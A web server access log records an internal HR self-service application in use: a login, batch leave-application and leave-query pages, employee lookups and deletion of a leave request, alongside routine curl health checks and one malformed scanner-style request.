100.64.0.1 - - [03/Sep/2025:14:29:44 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:14:29:44 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:14:30:50 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:14:30:50 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:14:31:37 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:14:31:37 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:14:31:39 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:14:31:39 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:14:32:04 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:14:32:04 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
192.168.11.148 - - [03/Sep/2025:14:32:45 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.11.148 - - [03/Sep/2025:14:32:45 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:32:45 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.148 - - [03/Sep/2025:14:32:45 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:32:45 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:32:45 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.148 - - [03/Sep/2025:14:32:45 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.148 - - [03/Sep/2025:14:32:45 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:32:43 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:32:43 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.148 - - [03/Sep/2025:14:32:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.148 - - [03/Sep/2025:14:32:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:32:47 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:32:47 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.148 - - [03/Sep/2025:14:32:53 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.148 - - [03/Sep/2025:14:32:53 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:32:54 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.148 - - [03/Sep/2025:14:32:54 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:32:54 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.11.148 - - [03/Sep/2025:14:32:54 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:32:54 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.148 - - [03/Sep/2025:14:32:54 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:32:54 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:32:54 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.148 - - [03/Sep/2025:14:32:54 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:32:54 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.148 - - [03/Sep/2025:14:32:54 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:32:54 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.148 - - [03/Sep/2025:14:32:54 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:32:54 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.11.148 - - [03/Sep/2025:14:32:54 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.148 - - [03/Sep/2025:14:32:54 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:32:54 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.148 - - [03/Sep/2025:14:32:54 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:32:54 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:32:54 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.148 - - [03/Sep/2025:14:32:54 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:32:54 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.148 - - [03/Sep/2025:14:32:55 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.11.148 - - [03/Sep/2025:14:32:55 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:32:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.148 - - [03/Sep/2025:14:32:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:32:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:32:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.148 - - [03/Sep/2025:14:32:56 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.148 - - [03/Sep/2025:14:32:56 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:32:56 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:32:56 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.148 - - [03/Sep/2025:14:32:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.148 - - [03/Sep/2025:14:32:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:33:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:33:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.148 - - [03/Sep/2025:14:33:00 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.11.148 - - [03/Sep/2025:14:33:00 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:33:00 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:33:00 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242
192.168.11.148 - - [03/Sep/2025:14:32:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.148 - - [03/Sep/2025:14:32:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:33:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:33:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.11.148 - - [03/Sep/2025:14:33:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.11.148 - - [03/Sep/2025:14:33:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:33:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9447076147565097 HTTP/1.1" 200 10228 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:33:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9447076147565097 HTTP/1.1" 200 10228
192.168.11.148 - - [03/Sep/2025:14:33:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9447076147565097 HTTP/1.1" 200 12407 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9447076147565097" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:33:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9447076147565097 HTTP/1.1" 200 12407
192.168.11.148 - - [03/Sep/2025:14:33:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4198 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:33:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4198
192.168.11.148 - - [03/Sep/2025:14:33:40 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084
192.168.11.148 - - [03/Sep/2025:14:33:40 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:33:40 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369
192.168.11.148 - - [03/Sep/2025:14:33:40 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:34:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730
192.168.11.148 - - [03/Sep/2025:14:34:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:34:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 9483
192.168.11.148 - - [03/Sep/2025:14:34:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 9483 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:34:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 29751
192.168.11.148 - - [03/Sep/2025:14:34:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 29751 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:34:15 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:34:15 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230
192.168.11.148 - - [03/Sep/2025:14:34:15 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:34:15 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268
192.168.11.148 - - [03/Sep/2025:14:34:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&action=delete&leave_flowseqno=116440 HTTP/1.1" 302 -
192.168.11.148 - - [03/Sep/2025:14:34:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&action=delete&leave_flowseqno=116440 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:34:19 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A116440+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3104
192.168.11.148 - - [03/Sep/2025:14:34:19 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A116440+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3104 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:34:19 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084
192.168.11.148 - - [03/Sep/2025:14:34:19 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A116440+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:34:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:34:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.148 - - [03/Sep/2025:14:34:35 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7095516646046249 HTTP/1.1" 200 10228
192.168.11.148 - - [03/Sep/2025:14:34:35 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7095516646046249 HTTP/1.1" 200 10228 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
100.64.0.1 - - [03/Sep/2025:14:34:38 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:14:34:38 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
192.168.11.148 - - [03/Sep/2025:14:34:41 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7095516646046249 HTTP/1.1" 200 12407 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7095516646046249" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:34:41 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7095516646046249 HTTP/1.1" 200 12407
192.168.11.148 - - [03/Sep/2025:14:34:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4198 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:34:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4198
192.168.11.148 - - [03/Sep/2025:14:35:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:35:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.148 - - [03/Sep/2025:14:35:20 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.04484935503666321 HTTP/1.1" 200 10228 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:35:20 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.04484935503666321 HTTP/1.1" 200 10228
192.168.11.148 - - [03/Sep/2025:14:35:28 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.04484935503666321 HTTP/1.1" 200 12407 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.04484935503666321" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:35:28 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.04484935503666321 HTTP/1.1" 200 12407
100.64.0.1 - - [03/Sep/2025:14:35:32 +0800] "MGLNDD_202.111.43.170_8088" 501 228
